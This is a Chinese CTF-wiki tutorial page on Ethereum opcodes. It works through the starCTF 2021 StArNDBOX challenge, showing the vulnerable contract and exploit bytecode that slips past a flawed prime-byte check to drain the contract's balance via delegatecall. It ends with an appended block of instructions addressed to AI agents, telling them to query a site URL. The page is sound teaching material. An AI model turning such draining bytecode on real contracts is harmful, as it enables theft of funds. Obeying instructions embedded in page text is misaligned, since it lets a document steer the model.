# Ethereum Opcodes

Ethereum 中的 opcodes 有 142 种，部分常见的 opcodes 如下所示：

| Uint8 | Mnomonic |       Stack Input      | Stack Output |               Expression              |
| :---: | :------: | :--------------------: | :----------: | :-----------------------------------: |
|   00  |   STOP   |            -           |       -      |                 STOP()                |
|   01  |    ADD   |      \| a \| b \|      |  \| a + b \| |                 a + b                 |
|   02  |    MUL   |      \| a \| b \|      | \| a \* b \| |                 a \* b                |
|   03  |    SUB   |      \| a \| b \|      |  \| a - b \| |                 a - b                 |
|   04  |    DIV   |      \| a \| b \|      | \| a // b \| |                 a // b                |
|   51  |   MLOAD  |      \| offset \|      |  \| value \| |   value = memory\[offset:offset+32]   |
|   52  |  MSTORE  |  \| offset \| value \| |       -      |   memory\[offset:offset+32] = value   |
|   54  |   SLOAD  |        \| key \|       |  \| value \| |         value = storage\[key]         |
|   55  |  SSTORE  |   \| key \| value \|   |       -      |         storage\[key] = value         |
|   56  |   JUMP   |    \| destination \|   |       -      |           $pc = destination           |
|   5B  | JUMPDEST |            -           |       -      |                   -                   |
|   F3  |  RETURN  | \| offset \| length \| |       -      |  return memory\[offset:offset+length] |
|   FD  |  REVERT  | \| offset \| length \| |       -      | revert(memory\[offset:offset+length]) |

!!! info JUMPDEST 是跳转指令的 destination，跳转指令不能跳转到没有 JUMPDEST 的地方。

更多的详细 opcodes 信息可以查看 [ethervm.io](https://ethervm.io)。

## 例子

以 startCTF 2021 的 StArNDBOX 一题为例讲解一下 opcodes 的题目。

本题会在部署挑战合约的时候传入 100 wei 到合约中，我们的目标是将合约的 balance 清空。题目合约的源码如下：

```solidity
pragma solidity ^0.5.11;

library Math {
    function invMod(int256 _x, int256 _pp) internal pure returns (int) {
        int u3 = _x;
        int v3 = _pp;
        int u1 = 1;
        int v1 = 0;
        int q = 0;
        while (v3 > 0){
            q = u3/v3;
            u1= v1;
            v1 = u1 - v1*q;
            u3 = v3;
            v3 = u3 - v3*q;
        }
        while (u1<0){
            u1 += _pp;
        }
        return u1;
    }
    
    function expMod(int base, int pow,int mod) internal pure returns (int res){
        res = 1;
        if(mod > 0){
            base = base % mod;
            for (; pow != 0; pow >>= 1) {
                if (pow & 1 == 1) {
                    res = (base * res) % mod;
                }
                base = (base * base) % mod;
            }
        }
        return res;
    }
    function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
        if (pow >= 0) {
            return expMod(base,pow,mod);
        }
        else {
            int inv = invMod(base,mod);
            return expMod(inv,abs(pow),mod);
        }
    }
    
    function isPrime(int n) internal pure returns (bool) {
        if (n == 2 ||n == 3 || n == 5) {
            return true;
        } else if (n % 2 ==0 && n > 1 ){
            return false;
        } else {
            int d = n - 1;
            int s = 0;
            while (d & 1 != 1 && d != 0) {
                d >>= 1;
                ++s;
            }
            int a=2;
            int xPre;
            int j;
            int x = pow_mod(a, d, n);
            if (x == 1 || x == (n - 1)) {
                return true;
            } else {
                for (j = 0; j < s; ++j) {
                    xPre = x;
                    x = pow_mod(x, 2, n);
                    if (x == n-1){
                        return true;
                    }else if(x == 1){
                        return false;
                    }
                }
            }
            return false;
        }
    }
    
    function gcd(int a, int b) internal pure returns (int) {
        int t = 0;
        if (a < b) {
            t = a;
            a = b;
            b = t;
        }
        while (b != 0) {
            t = b;
            b = a % b;
            a = t;
        }
        return a;
    }
    function abs(int num) internal pure returns (int) {
        if (num >= 0) {
            return num;
        } else {
            return (0 - num);
        }
    }
    
}

contract StArNDBOX{
    using Math for int;
    constructor()public payable{
    }
    modifier StAr() {
        require(msg.sender != tx.origin);
        _;
    }
    function StArNDBoX(address _addr) public payable{
        
        uint256 size;
        bytes memory code;
        int res;
        
        assembly{
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }
        for(uint256 i = 0; i < code.length; i++) {
            res = int(uint8(code[i]));
            require(res.isPrime() == true);
        }
        bool success;
        bytes memory _;
        (success, _) = _addr.delegatecall("");
        require(success);
    }
}
```

可以看到题目的 `StArNDBoX` 函数可以获取任意地址的合约并检测该合约的每个字节是否为质数，如果通过检查则使用 `delegatecall` 来调用目标合约。

但由于该合约中的 `isPrime` 函数并不是完整的质数检查函数，`00` 和 `01` 也可以通过检查，因此我们可以构造如下的字节码：

```
// 0x6100016100016100016100016100016100650361000161fbfbf1
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 65 | PUSH2 0x0065
03       | SUB
61 00 01 | PUSH2 0x0001
61 fb fb | PUSH2 0xfbfb
f1       | CALL
```

来执行 `address(0x0001).call.gas(0xfbfb).value(0x0065 - 0x0001)` 语句，也就是将题目合约中的 balance 转到 0x1 处，从而清空 balance 满足得到 flag 的条件。

## 题目

### starCTF 2021

* 题目名称 StArNDBOX

### RealWorld 2019

* 题目名称 Montagy

### QWB 2020

* 题目名称 EasySandbox
* 题目名称 EGM

### 华为鲲鹏计算 2020

* 题目名称 boxgame

!!! note 注：题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。

## 参考

* [Ethervm](https://ethervm.io)
* [starCTF 2021 - StArNDBOX](https://github.com/sixstars/starctf2021/tree/main/blockchain-StArNDBOX)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctfwiki.stinger.team/blockchain/ethereum/opcodes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
